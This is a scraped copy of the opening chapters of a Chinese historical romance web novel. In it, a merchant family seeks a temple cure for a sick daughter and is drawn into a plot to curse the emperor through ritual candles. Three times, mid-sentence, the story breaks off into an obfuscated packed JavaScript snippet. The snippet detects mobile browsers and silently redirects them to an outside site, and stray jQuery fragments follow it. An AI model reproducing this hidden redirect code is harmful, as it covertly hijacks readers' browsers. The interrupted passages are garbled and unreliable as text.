《摄政王他谋权夺妻》
1. 腊八
大承国,佑宁十五年,腊八节
奉州城的百姓从昨夜起,便捧着大小不一的瓷瓮和碗筷,在天福寺外排起了长龙。
天福寺每年在腊八这日,都会行善施粥,僧人在斋堂架起了铁锅,小米莲子桂圆红枣等谷物混在一起熬煮,那香味飘出了院墙,信徒们只待院门一开就往里冲,都想争得个头名。
顾初禾与家人也是天不亮就出门了,他们住得远,乘最快马车赶到天福寺也要一个时辰。
“阿娘,你说祈福消灾真的能灵验吗?”,十三岁的顾初禾懵懂天真,只露出一双明净清澈的眼眸扑闪扑闪,两颊被冬日的冷风吹得泛起红晕。
她从前日起便受了风寒,咳嗽不止,因此以巾覆面,免得传染了旁人。
“禾儿,心诚则灵。”,阿娘为她拢了拢衣裳,温柔地牵着她的手,俯身道:“为了意儿的病,暂且忍一忍天寒,等祈完福,阿爹阿娘带你去吃最爱的红豆元宵好不好。”
顾初禾转身看向阿爹,以及阿爹怀中尚不足四岁的妹妹。
妹妹顾长意从出生时就患有喘疾,每每受惊或着凉后,都咳喘不止,哪怕是在院子里荡个秋千,夜里都会发热呓语。
三年多以来,父亲顾明道请了不知多少大夫来把脉看诊,皆说妹妹活不到十六岁,唯有宫里的御医或可医治。
得知这等噩耗,夫妻俩对着烛火哭了几天几夜。
直到前日,有个远亲说起她的孙儿也有此症,一家子本不抱希望了,只想去天福寺斋戒几日,祈求孙儿余生少些苦痛,却不料那住持竟有神通,已经垂死的孙儿现在都痊愈了。
听闻这样的奇事,顾明道夫妇当即就决定要来天福寺碰碰运气。
只要顾长意能好起来,便是路途中布满了钉子,让他们夫妇赤脚走上三个来回都愿意。
不曾想,刚好赶上了腊八节,几乎全城的百姓都在这儿等着施粥了。
顾初禾不怕冷,也不是为了吃元宵才早起的,她只是担心今日神佛太忙,听不见她的心声,她怕妹妹的病情没有好转,怕父母明亮期盼的双眸再次暗淡。
“山门开了,快快快,快往里进,晚了腊八粥可就施完了。”
人群中,不知是谁扯了一嗓子,忽然众人就像一座座小山向前扑涌。
顾初禾始料未及,被动的随着人流向前,她踮起脚尖呼喊爹娘。
“禾儿,在正殿等爹娘,可不要乱跑!”,顾明道一手抱着小女儿,一手高高抬起朝着大女儿挥舞。
好在顾初禾识字,自小又机灵,今日来天福寺的百姓大多都是信徒,想必都是心善的,没人会无缘无故害了她。
“知道了!”,顾初禾的回应被人潮淹没,等到她双腿能自控时,已经被推到了斋堂。
她的身旁人人都自备了碗筷,只有她空着手,手足无措的望着眼前与她年龄相仿的小沙弥。
“施主,小僧用寺里的斋碗给您盛粥吧,用完餐后您再送回斋堂即可。”
小沙弥的左手边堆叠着几十只斋碗,他和善的面容让人瞬间卸下防备,还不等顾初禾点头,一碗热乎喷香的腊八粥已经递到了她的面前。
她双手接过,微笑致谢,默默移步到人少僻静处。
斋堂的院落中有一棵三百年的银杏树,冬季寒冷,树叶早已凋零,只剩光秃秃的枝干依旧顽强挺拔。
银杏也有长寿树之称,据说这座寺庙起初便是围着它铸造的,它与天福寺历经三百年的风霜沉淀,共同承受岁月的沧桑,世事的更变。
顾初禾捧着斋碗站在银杏树下,踮起脚远远地又看了一眼那个小沙弥,他正忙着施粥,连头都没抬起来一下,辛苦了大半晌,他的脸上仍然挂着温和的微笑,丝毫不见厌烦。
她记着爹娘的嘱咐,没忘了去正殿等候他们,便即刻收回了视线,去找爹娘汇合。
这一碗粥,她小心端着,想先给妹妹喝第一口,穿过寺内的抄手游廊,又过一处禅房,方才来到大雄宝殿。
今日众信徒集聚于斋堂,正殿内只有寥寥数人在点灯供花。
没等多久,顾明道夫妇与幼女也匆匆赶到,顾初禾笑着迎了上去。
“阿爹阿娘…”,她怕摔了碗,不敢跑太快,“我听那些信徒说,寺庙的腊八粥有消灾驱邪之效,不如给意儿喝几口吧。”
他们出门匆忙,一家子到现在还饿着肚子呢。
顾长意小小的脑袋捂得严实,露出一双看什么都好奇的眼睛转来转去,最终定睛在那碗粥上。
“禾儿真是长大了,真乖。”,阿娘揉揉她的头发,欣慰地笑了出来,随即接过斋碗,喂到幼女嘴边。
顾长意就是图新鲜,抿了一口就不想喝了,别过头趴回了爹爹的肩膀上。
舒映芳蹲下身,抚着顾初禾的后背,温声道:“意儿还小,也喝不了两口,沾点儿福气就成,还是你喝吧,阿娘也希望你能安康长健。”
自从有了妹妹以后,顾初禾就再也没和爹娘睡在一起,他们夜里要照看幼女,无心顾及长女,便让祖母陪睡。
虽说衣食穿用上与从前无异,祖母待她也十分用心,可顾初禾还是有些失落,总觉得爹娘对妹妹更上心些。
一年前,祖母因病离世后,顾初禾便独自一人睡一间屋子。
直到方才,舒映芳说也希望她安康,她才有所释怀。
她撩开面帘低头喝了两口腊八粥,露出甜甜的笑容,轻轻将斋碗推到阿娘面前,“那阿娘和阿爹也沾沾福气,咱们一家人都得平平安安的才好。”
“好,禾儿说得对,咱们一家都要好好的。”,舒映芳听她的话喝了,又将最后剩下的粥汤,喂给抱着孩子的顾明道。
一家四口温馨和谐的画面引得一位僧人驻足,忍不住赞道:“真是和顺相亲的一家呀,顾施主有福。”
顾明道与舒映芳对视了一眼,好奇问道:“高僧怎知我的姓氏?”
那僧人掌心相对,朝着顾氏夫妇行合十礼,再起身时嘴角露出了意味不明的笑意,对此只答“机缘”二字。
接着,他指引顾家人进了正殿,跪拜主尊佛像,又绕佛三圈。
顾长意年幼,什么都不懂,任由阿爹抱着说跪就跪,说拜就拜,不哭也不闹。
顾初禾则紧随父母,全程静默虔诚,双手合十朝着每尊佛像祈愿妹妹早日康复。
出了殿门,那僧人又行一礼,道:“住持已在客堂等候,请施主移步。”
舒映芳闻言,似乎已察觉出什么,她不想让女儿参与其中,于是回身嘱咐道:“禾儿,爹娘与住持有话要说,你先将斋碗送还,晚些再来寻我们。”
顾长意还小,听不懂大人们在说什么,可顾初禾再过两年就及笄了,许多事她都明白。
“寺院宽阔,小施主可于四处游览参拜,正殿后方的静心院中还有新开的梅花,香气正浓。”
顾初禾虽见那僧人礼敬有加,可心里总觉着笑里藏刀不怀好意。
“去吧。”,顾明道看出了她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556898|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼中的担忧,点点头示意她无碍。
她咬咬下唇,道了声“是”,便一步三回头地朝着斋堂去了。
正如那僧人所言,静心院的梅花冷香幽逸,深山古寺中袅袅梵音,隔绝了尘世的喧嚣浮躁。
她脚步一转,跨进了静心院的门槛。
“真好闻…”,她手腕微微扬起,轻触那带着霜露的花瓣,闭眼轻嗅,感受一缕芬芳直抵心底。
再睁眼时,同一支梅花的枝干下,竟现出一名男子的脸庞。
顾初禾惊得花容失色,手臂轻颤,斋碗都摔落在地上了。
她向后退了好几步,才敢探头直面那男子的相貌,待她看清楚来人时,竟露出了与方才完全不同的欣然笑意。
“童墨哥哥!?”,她兴奋地扬起头,脚步轻盈欢快地朝着对方走去。
“一年未见,禾儿长这么高了,方才远远的瞧着,还以为认错人了。好端端的,遮着脸做什么?”
童墨是顾家的近邻,比顾初禾大三岁,一年前随父亲和大哥走镖至漠北,昨日刚回到奉州,却被一场暴雨困在城中,于是在天福寺借住了一宿。
顾初禾四五岁时最爱黏着他,两家人一起去逛市集,她也只要童墨牵着或是背着。
每每童墨的父兄走镖,带一些新奇的小玩意儿回来时,他都会分一部分悄悄塞给她。
两人分开整整一年,不止顾初禾女大十八变了,就连童墨也渐渐褪去了稚气,原本清秀白润的脸庞也被风沙吹得黝黑粗糙,轮廓也更分明了。
也难怪她第一眼没有认出来。
许久未见的二人并未生疏,还是有说不完的话,童墨帮她捡起斋碗,仔细瞧了瞧,没有摔坏。
“方才见你一直在赏这梅花,要是喜欢的话,我折一些给你带回去插瓶。”
“还是不了吧,这毕竟是寺院的梅花,随意攀折,若是被人瞧见了…”
顾初禾不想惹事,摇摇头说不要。
可她话音未落,童墨已经折下了开的最盛的两支梅花…
“拿着。”,童墨在外一年,行为举止愈发放浪不羁了。
顾初禾犹疑了,不敢伸手去接,“这…”
“几支梅花而已,都说佛祖护佑众生,不会小气到连这点小事都怪罪的。”,童墨不由分说直接塞在她的手心,他抬头看了一眼日光,估摸着时辰不早了。
“母亲还在家等我,我得先回禅房收拾行装了,等到了家我再去找你,这次从漠北回来,我给你带了不少好东西,回头慢慢赏玩。”
说着,他便步履匆匆地走远了,渐渐消失在梅花丛中。
顾初禾低头看着手里的梅花,为难地皱起了眉心,思忖片刻后,她小心翼翼地将梅花塞进了袖口里。
四下张望了一会儿后,又往斋堂去。
山脚下,还有很多信徒在排着队,一眼望不到头,这施粥的善举怕是一时半会儿停不了。
顾初禾穿梭在人群中,护着那只碗走到井边,想着洗净了再送回去。
可她刚蹲下身,上方就传来一声轻缓的低语,“井边湿冷,施主将斋碗交给我即可。”
她缓缓抬起头,认出他是那个给自己盛粥的小沙弥,可这小沙弥的僧帽下竟还蓄着头发,一般人看不见,也就只有从下往上,才能瞧得出来。
不过,不止她看出了小沙弥并未剃发,小沙弥也瞄到了她的衣袖里藏着腊梅花。
彼此都有秘密,两人相视一笑,未曾拆穿对方。
2. 求药
从斋堂出来后,顾初禾没再为寺中的任何一处景物驻足,一路小跑着赶回了住持会见信徒的客堂。
她刚赶到,爹娘便抱着妹妹出来了,住持圆修还亲自送他们出客堂,这等殷勤的嘴脸,失了佛家弟子的心镜纯净,多了几分谄媚。
顾初禾余光留意到,阿娘带来的包袱果然没了。
那包袱里全是金银,今日既然带了来,就是为了供奉神佛,捐赠寺院的,因此倒也不觉得意外。
“禾儿,过来。时候不早了,咱们向住持辞行。”,顾明道伸手召唤她,一家人齐齐地朝住持行礼,之后便离了山门。
回程的马车上,顾初禾一边逗弄妹妹,一边好奇地看向爹娘,“住持怎么说,意儿的病能治吗?”
顾明道抬眸看了一眼夫人,只见她神色凝重眉头紧锁,他转身抚摸了一下长女的脑袋,硬挤出笑颜来,道:“住持给了个药方,说是照方抓药,不出三月,意儿的病即可痊愈。”
“真的?世上真有这样的神术医方?”,顾初禾实没想到这天福寺的住持果真是个高僧,方才竟是自己看走了眼,误会他了。
顾明道垂眸,面露愁容,拿到了药方分明是好事,可他从住持处出来后似是老了十岁一般。
他从怀里掏出方子,递给顾初禾看。
顾初禾虽看不懂药方,不过这方子上写的其中几味珍贵药材的名字她还是知道的。
如今时局动荡,边陲兵荒马乱,药材稀缺。
不仅前线的军士们等着药材救命,就连京城的达官显贵也趁乱囤积药材,开出天价收购,哪怕用不上,囤在府里烂掉,也不会分给平头百姓一丝一毫。
这奉州城,乃至全国的药商,有一个算一个,凡是好一点的药材和补品,全都运往了京城。
且太子赵琛此刻也在前线坐镇,皇后日夜揪心,恨不得将全天下的珍贵药材都送去,生怕太子受了伤无从医治。
怎就这么巧,偏偏妹妹治病所需的药材,如今正属稀缺之物,纵然捧了金银去药房采买,也不一定能买到,便是买到了,也难辨真假。
“阿爹,那这些药…奉州还能买到吗?”,顾初禾虽然才十三岁,可她心性成熟,八九岁时就能帮阿娘盘账归纳。
顾家有祖传的手艺,香烛,供香,酥油灯,烛台等祭祀祈福用具在奉州城是出了名的上等,就连京城的勋贵人家的管事采买这类物资,也是知道顾家的名号的。
祖祖辈辈的买卖流传至今,倒也积攒了不小的家业,顾明道无子,这些年来一直悉心栽培顾初禾,盼着她接下这当家人的重任。
就连日后议亲,顾明道也是打算好了的,待到顾初禾及笄之时,便为她招婿入赘。
若是这般,顾初禾便有父母撑腰,不必嫁去别家守规矩受训诫,等到生了孩儿,无论男女都是上顾家的族谱,承继家业。
顾明道如此费心地为女儿打算,却未曾料到世事无常,这些厚望与幻想,只怕到今日便要终结了。
方才在客堂内,他已经与住持达成了一场交易,住持给幼女的药方,可不是一包金银能打发的…
“禾儿不必担心,爹娘在京城有一位至交好友,想必他有法子能买到…”,顾明道强颜欢笑,不愿让孩子们过早承揽了长辈的重担。
更何况,今日是腊八节,常言道过了腊八就是年,就算有话要说,也不该是这团圆快意的日子。
顾初禾对此心生疑窦,“至交?哪位至交,怎么女儿从未听说过。”
板桥上,不知哪里蹦出来个石子儿颠了一下马车,顾初禾护着妹妹。
舒映芳透过飘起的车帘,看到外面的食铺正在卖汤圆,她岔开话头:“夫君,咱们从家出来到现在就分了一碗腊八粥,孩子们都饿了,不如咱们下去吃点东西吧?”
“也是,也是。”,顾明道点点头,让车夫停轿。
他先一步下车,站在路旁伸手接舒映芳和女儿们。
“禾儿,来,下车。”
顾初禾心里明镜一般,知道爹娘有事瞒着她,但是怕她担心,所以才遮遮掩掩。
她就算问,也问不出什么,只好装傻。
难得有一日空闲,一家人在城中吃了许多小食,又逛了市集,买了数支年宵花和装点物。
顾长意喜欢一个虎头帽,顾初禾见她戴上可爱,便自己掏荷包买了送给妹妹。
直到日落西山,他们才往家宅赶。
车夫老刘驾车稳妥,两个孩子趴在父母膝上睡着了,顾氏夫妇相视无言,揣着满肚子的心事也不敢声张。
一眨眼,已是两个月后的惊蛰时节
顾明道口中那位京城的好友,自除夕起,每隔十日便托人送来药材,顾长意的病果然有了好转。
万物复苏,春雨绵绵,顾初禾一早便出门赴约了,她和童墨约好去九填观踏春赏景。
舒映芳为他们准备了食盒,只嘱咐了一句傍晚之前必须回来,旁的什么也没说。
这两个孩子自小交好她是知道的,况且童墨习武多年,不过六里路,想来出不了什么意外。
路途中,顾初禾掀开车帘望向窗外,接连成片的水田里,力壮的男儿们埋头耕地,妇人们有说有笑地挎着竹篮送来饭菜和水,一片祥和安泰的景象。
山涧小溪,潺潺流水,春雨中伴着泥土清香,令人心旷神怡。
顾初禾坐累了腰酸,便朝着前方喊了一声,“童墨哥哥,还有多久才能到呀?”
童墨在前边驾着马车,嘴里叼着一根狗尾巴草,闻声回首调侃道:“快了,就在前面。怎么,坐不住了,屁股疼?”
“都这么大了,说话还是那么轻浮不着调,伯母没同你说对女孩子要细心温柔,以礼相待吗?”,顾初禾趴在车窗上,嗔怪道:“再这样口没遮拦,看谁家姑娘敢嫁给你!”
“还未及笄,就谈起婚嫁,你倒是比我着急。”
童墨已年过十七,他大哥在这个年纪已经娶亲了,可他自打走镖回来,便整日东游西逛。
爹娘给他说的亲事是一个也不去相看,问起来便说高攀不起人家,嘴里没一句实在的,像是打定了主意要做一辈子的单身汉。
九填观
春雨朦胧,给古老的道观蒙上了一层薄雾,布满青苔的石阶边自由生长出几株小野花,花瓣上挂着晶莹的水珠。
香炉中升腾起袅袅青烟,信徒们撑着油纸伞出入于道观的各个神殿,他们身着朴素,神情庄重,眼中满是虔诚。
童墨手腕上的流云纹护腕针脚细密,一看便是出自他母亲之手,一头乌发用一根玉簪束起,显得干练利落。
他跳下马车,慵懒随性地斜倚在车旁,修长的指尖轻轻敲响木质的车壁,“下来吧,到了。”
顾初禾掀开轿帘,只见他五指弯曲掌心向上,目光中装出几分漫不经心,实则手心浸汗。
她稍作停顿,才将手指轻轻搭在他的手上。
一瞬间,童墨的掌心感受到了她指尖传来的温热,垂眸一笑。
“没想到九填观的信徒这么多,这马车都快没处停放了。”,顾初禾没留意到他的神情,两眼环望四周。
年前,她随爹娘去天福寺那日已见识到了什么叫人山人海,不曾想这九填观内外的行人与信徒与之不相上下。
顾初禾诚心跪拜了三清,祈求神明护佑妹妹喘疾痊愈,永不复发,并将家中带来的供品一一奉上。
童墨在旁跪了没一会儿就站起身,想来是诸事顺遂,没什么可求的,但他也没催促顾初禾,自觉让出了门,站在一边耐心等待。
九填观不仅祈福灵验,就连后山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556899|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的风景亦是一绝。
据说前朝有位官员被贬至此,一路上唉声不断,不想来了此处后竟流连忘返,对这山上的景色赞不绝口,就连官都不想做了,求着观主收他为徒,只可惜观主讲究个缘法,说他尘俗未了,也就作罢。
过完年,顾初禾刚十四岁,正是贪玩爱美的年纪,既然来了,必然要细赏一番,才不负这春意美景。
她与童墨一前一后穿过道观庭院,几株鹅黄色的迎春花在墙角绽放,花瓣飘落在砖石上流入地缝。
微风吹过,枝条摇曳,也吹起了她额角的碎发,少女笑容清甜灵动。
童墨被这场景吸引,移不开眼,仿佛这世间所有的美好,都集中于这一刻。
不知不觉间,他们在九填观的前后已经逛了大半天,就连雨都停了。
申时已至,几近黄昏
回家的路上,顾初禾还在回味山峦云雾的美景,并与童墨约好秋日再来。
顾宅
顾初禾换了身衣裳,牵着妹妹的小手到前厅用晚膳,小长意仰着脖子问姐姐外面好不好玩,下次能不能带她一起去。
姐妹俩叽叽喳喳地说笑,没几步就到了父母身边。
舒映芳自打生了幼女之后,常年不思饮食,每每用餐只浅尝几口便撂下了筷子,顾明道担心她的身子,特意花重金从寄月楼请了位大厨回来,变着花样的给她做菜。
餐桌上,顾初禾绘声绘色的描述着九填观的春景,可爹娘却总是听得分神,许久后才附和点头。
前线持续了五个月的战事总算告捷,太子殿下已于三日前班师回朝,此次战役胜得惊险,亦有近万将士死于沙场。
陛下有旨,要在天福寺为战死的亡魂祈福,届时陛下和众皇子皆会来到奉州。
负责此次祭祀仪式的太常寺丞冯大人,早早就向顾家定下了上万只蜡烛,用来燃放长明灯,祭奠亡灵。
顾初禾心想,爹娘这几日兴致不高愁容满面,想必是太过劳累了,等到祭祀结束后,便能喘口气松快松快。
为了迎接圣驾,这几日奉州城内热闹至极,不仅家家户户壁挂彩缎,就连城中所有的桥面都重新粉刷和修葺了一遍。
奉州乃是京城最邻近的州郡,虽不及京城繁华,却也沾了不少光,且山清水秀风景奇佳,因此许多达官显贵都在奉州置办了别院,以作休憩安养之所。
童墨接连在奉州城中逗留了三日,回来后向顾初禾描绘的场景精彩纷呈,勾得她心痒不已,也想去一睹辉煌景象。
可她几日前刚和童墨去过九填观,今日再出门,只怕爹娘不允,便在房中为爹娘核对本月账目。
她的字迹工整秀丽,将每一笔账目的日期,进出货数量,金额等记录得清清楚楚。
就在她聚精会神时,舒映芳牵着幼女推开了她的房门。
“禾儿,你已在屋里待了一上午了,为娘听闻今夜城中要燃放烟火,点河灯,不如你与意儿还有秋娘一同去瞧瞧吧。”
秋娘是舒映芳的心腹,七岁那年就陪着舒映芳了,如今虽已婚嫁生子,但仍旧在她身边做事。
顾初禾刚出生时夜里总哭闹,为了让舒映芳休息好,大部分时间都是秋娘抱着哄的。
“阿娘,你不去吗?”,顾初禾想去,可她更想一家人都能去。
“你看了账簿应该知道,这几日铺子里忙得不可开交,爹娘还有事,就不去了。”,舒映芳慈爱地笑着捏捏她的脸蛋。
“你和秋娘好好看着意儿,可别走散了。”
“嗯,阿娘放心,宵禁前我们一定回来。”
望着女儿们携手同行的背影,舒映芳心里有说不出的酸楚,一行热泪汹涌而出。
从她接过住持手中那张可以救幼女性命的药方时,就已经赌上了一家四口的性命。
3. 救火 去岁腊八那日
去岁腊八那日
舒映芳和顾明道捧着一盒金银献给住持,说是捐给天福寺的善款。
住持圆修大师捻捻佛珠,示意僧徒退避,并收下了金银,从身后的匣子里取出一张药方。
顾明道喜出望外,还以为大师妙算,早知他们会来求药方,差点当场就给圆修跪下了。
可舒映芳看出了异常,总觉得事有蹊跷。
果不其然,圆修大师在递出药方的同时,提出了一个要求,让顾明道夫妇必须按约定行事。
若他们夫妇俩应下所约之事,不仅这药方会给他们,就连药材也会一并送进顾宅。
时局动荡,药价暴涨,除了达官显贵,平民百姓不知要费多少心思才能买到,就算买到了,也是贵人们挑剩下的,药效相差甚大。
顾明道夫妇不忍看着幼女早亡,除了答应圆修的要求,他们已无退路。
那张药方出自宫里,是太医院的医官亲笔书写。
圆修大师也是奉命行事,宫里有位贵人让他把医方转交给顾明道夫妇,其要求便是在即将到来的祭祀大典上动些手脚。
天福寺的圆修大师,太常寺丞冯大人,以及宫里那位不知身份的贵人,他们早有预谋,计划利用此次祭祀加害陛下。
顾家为祭祀准备的上万只供烛,底座皆被刻上了符咒,那符咒是巫蛊之术,会使战死沙场的近万名将士的亡魂会受此符影响,永不安息,所有不利之事都会反噬到当今陛下的身上。
祭祀当日,长明灯的供烛燃尽,底座的符咒若是被人留意到,顾家便是犯了滔天的罪行。
无论是圆修,冯大人,还是宫里那位贵人,他们都想陛下死。
巫蛊之术是否真有奇效,世人不知,可事情一旦败露,顾家一定逃脱不了,必死无疑。
顾明道夫妇明白,从他们踏出天福寺的那一刻起,就注定了要悬心度日。
现在他们只能祈求那些供烛不要落入有心人的手中,即便是被百姓捡到,也不清楚那些符咒的含义才好,这样顾家人的性命才能得以保全。
为了不牵连无辜,顾氏夫妇从天福寺回来的那日起,就亲自将画好的符咒嵌入了供烛底座,没有让任何工匠插手。
若有朝一日,他们二人不幸被捕,至少那些常年为顾府做工的匠人能摘干净。
上万只供烛,都由二人昼夜赶制,因此疲劳不堪,每每回到家中时,两个女儿都已经入睡了,夫妻俩守在孩子们的床边,就连哭都不敢放声,还要装作无事发生。
酉时
车夫老刘搀扶着顾初禾姐妹上了马车,秋娘随后也上车也坐在她们姐妹中间,并护着她们的头避免撞到车身。
顾初禾对父母担忧之事一无所知,只惦记着城中的繁华景象,恨不能生出翅膀,即刻飞到街头才好。
车轱辘刚向前滚了两圈,老刘便勒马停了下来。
秋娘疑惑探头:“怎么停了?”
车外,一阵矫健轻快的脚步声靠近,敲了敲车壁。
顾初禾掀开帘子向外看去,见是童墨双手提满了东西,天色暗了,她看不清拿的是什么。
“童墨哥哥?你这是从哪儿来?”
“如今已是二月,镖局积压了不少商货等着押送,明日起我与父兄就要分头走镖。方才去铁匠铺挑了几样防身之物,看见一旁挂着个用鹿筋做成的弹弓,弓身用的是紫檀木,我试了一下,好耍得很,就给你带回来了。”
说罢,童墨的手臂穿过车窗,将弹弓递到她手里。
顾初禾接过来用力拉扯了一下弹弓,的确弹力强劲手感舒适,真真是个好玩意儿。
可她试拉了几下就又递出了窗外,面露难色。
“鹿筋和紫檀木…这也太昂贵了,我不敢收。上次你送我的弹弓是荔枝木做的,阿娘就已经骂了我一通,说我不仅贪玩,还净跟你要一些好东西,害她都不知道该回你什么礼才好。”
童墨见她不肯收,便歪着头笑道:“咱们两家做了多年的近邻,我与父兄常年在外走镖,阿娘一个人在家中,平日里没少受你们家帮扶,送你点小玩意儿也是应该的。行了,别推辞了,快收下吧,我还得回家收拾行装,不能再耽搁了。”
顾初禾心里是喜欢很这个弹弓的,可阿娘近日神疲倦怠心情不佳,实在担心收下之后惹阿娘不快,于是转身看了一眼秋娘,想听听她的意思。
秋娘见她爱不释手,不忍败她兴致,想来童家家底殷实,也不缺个弹弓的钱,便点了点头。
“那就多谢童墨哥哥了,等你走镖回来,我们再去九填观赏景。”,顾初禾的喜悦之色溢于言表,忙不迭地就将弹弓收进了袖口里。
小顾长意听了,奶声奶气地趴在车窗口,嚷道:“我也要去。”
童墨伸手宠溺的摸了摸顾长意的小脑袋,笑着道:“好,只要你乖乖听话,好好吃药,等我回来一定带你去玩。”
与童墨告别后,马车朝着热闹的集市街道行驶。
集市的入口处,一排排的车马有序停靠。
顾初禾和秋娘一人牵着顾长意的一只手,看什么都新奇有趣,蹦蹦跳跳的穿梭在人群之中。
街头卖艺的杂耍人们纷纷使出浑身绝技,吞长剑,高空走长索,口喷火焰,引得人群惊呼不已,四周围得水泄不通,掌声此起彼伏。
顾长意被逗得乐不可支,一双圆溜溜的眼睛笑成了小缝,秋娘和顾初禾也看得津津有味,随着众人一起掏出铜板打赏了卖艺者。
沿街各家店铺灯火通明。
酒楼里跑堂的年轻人脚步匆忙,楼上楼下往返不歇,掌柜的捋着胡须越看账册越满意,笑得合不拢嘴。
顾长意小跑到糖人摊前,请摊主爷爷给她画了只小兔子,秋娘带足了银钱,只管付账。
“姐姐,给你先咬一口。”,顾长意拉了拉姐姐的衣袖。
顾初禾暖心一笑,俯下身假装咬了一下,实则只是嘴皮子碰了碰,便催促她自己享用。
“好,姐姐尝过了,好甜好甜,你赶紧吃,一会儿化了就不好吃了。”
夜幕下,奉州城中洋溢着人间烟火气,人人脸上都挂着幸福的笑颜。
姐妹俩并秋娘沿着街道从头逛到尾,想买的都买了,想玩的都玩了,双腿已酸胀无力。
再过半个多时辰就宵禁了,秋娘带着她们折返回马车上,手里还提着带给顾明道夫妇的吃食。
顾长意到了时辰就犯困,一上车就趴在秋娘的腿上睡着了,嚷着要买的花灯都丢到了一旁。
老刘挥鞭赶马,刚上路不久,顾初禾神色慌张地掏了掏衣袖,惊呼不好。
“刘伯停车,我的弹弓不见了,我得回去找找。”
“哎,禾姐儿,别去了,这街道上人来人往的,你又不知道丢在了哪里,怎么找呢,说不定早就被旁人拾去了。”,秋娘拉住她的胳膊,劝她打消主意。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556900|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
可这弹弓是童墨花大价钱买的,刚送到她手上还没过夜就弄丢了,她心有不甘。
“秋娘,我回去找找,若是找不到我立马回来,一定赶在宵禁之前。”
说着,她跳下了马车。
秋娘抱着刚睡着的顾长意,又不能撂下不管,只好隔着车窗递给她一条面巾遮脸,嘱咐道:“闺阁女儿深夜独自抛头露面,恐于声誉有碍,还是戴上这个吧。记着,无论找不找得到,都得赶在宵禁前回来。”
顾初禾匆忙接过点了点头,转身返回街道。
方才还热闹非凡的街道,此刻人已散去大半,只剩些摊贩正在整理货物。
顾初禾心急如焚,怪自己粗心大意,那么好的弹弓一次都没用过,竟然就这么弄丢了。
她低头沿路寻找,不放过任何一个去过的地方,可就像秋娘所说,今夜行人众多,哪怕是一个铜板掉在地上,不过眨眼的功夫就会被人捡走了,何况是用鹿筋和紫檀木制成的精美弹弓。
她双手握拳,急得额头冒汗,几乎快要哭出来了,觉得对不起童墨的心意。
街上人越来越少了,距离宵禁的时间也越来越近,她不能再耽搁了,否则一旦错过了回家的时辰,很可能被官府收押,甚至会受刑。
她悔恨地叹了声气,不再抱有希望,忍着泪水往自家马车的方向走。
可途径一条小巷时,她停住了脚步,似乎想起了什么。
先前,顾长意突然闹肚子,疼得直哭。
顾初禾左顾右盼,注意到了这条小巷有一家棋院,便向店主借用茅房。
妹妹年纪小,怕黑,顾初禾与秋娘就在一旁打着灯笼陪她。
等到解了燃眉之急,顾初禾去向店主致谢,脚步流转之际,仿佛听见有什么动静。
可当时她并没有在意,只关心妹妹的肚子还痛不痛了,现在回想起来,怕就是那会儿弄丢了弹弓。
顾初禾转身,再次朝向棋院跑去。
她提着裙摆,躬身走在棋院的石子路上转了一圈又一圈,功夫不负有心人,竟真的让她在墙角捡回了心心念念的弹弓。
重拾爱物,顾初禾拍着胸脯笑了出来,感觉腿都没那么酸痛了。
她小心翼翼地将弹弓揣进怀里,生怕再弄丢。
本想再去向棋院店主道声谢,可时间快来不及了,便不再去打扰,就当没回来过。
可她刚刚准备离开,一抬眼,竟看见棋院的柴房起了火。
火星裹挟着浓烟,四处飞溅,发出噼里啪啦的声响。
顾初禾放声大喊:“店主,柴房起火了,快来人灭火啊!”
她一边喊,一边朝着柴房跑。
柴房临近水井,她不顾自身安危,咕咚一声将木桶扔进井里,使出全身的力气泼向火源。
可她瘦小力弱,拎着水桶来回跑了三趟就喘得不行了,火势越来越大,她泼出去的三桶水压根起不了作用。
没办法,她只能大声呼救,寻找帮手。
柴房和茅房离得近,是棋院的后院,与前厅尚有一段距离。
刚才她喊的那几声,似乎声音不够大,没有惊动店主,前厅直到现在都没人出来。
“快来人,救火啊!”,顾初禾喊得胸口发颤,嗓子都快裂开了。
这回,终于有人出现了。
只不过,不是前厅的店主,而是柴房的窗户里有个身型修长的少年正在往外爬。
4. 善缘
“啊!”,顾初禾吓得踢翻了水桶,她怎么也没想到这柴房里竟然还有个人。
她来不及多想,赶紧跑过去搭把手,拽着少年的手臂往外拉。
幸好起火的源头是柴房北面,而窗户开在南边。
顾初禾赶在窗户也即将被急火吞噬之前,将那少年救了出来。
少年墨绿色的衣裳被浓烟熏得发黑,即使是这样,她还是闻到了他身上的酒气。
她将少年的胳膊搭在自己肩头,步履艰难地拖着他往前厅的方向走,她的双腿像是不听自己使唤似的越走越软,连带着醉酒的少年一起摔倒在地。
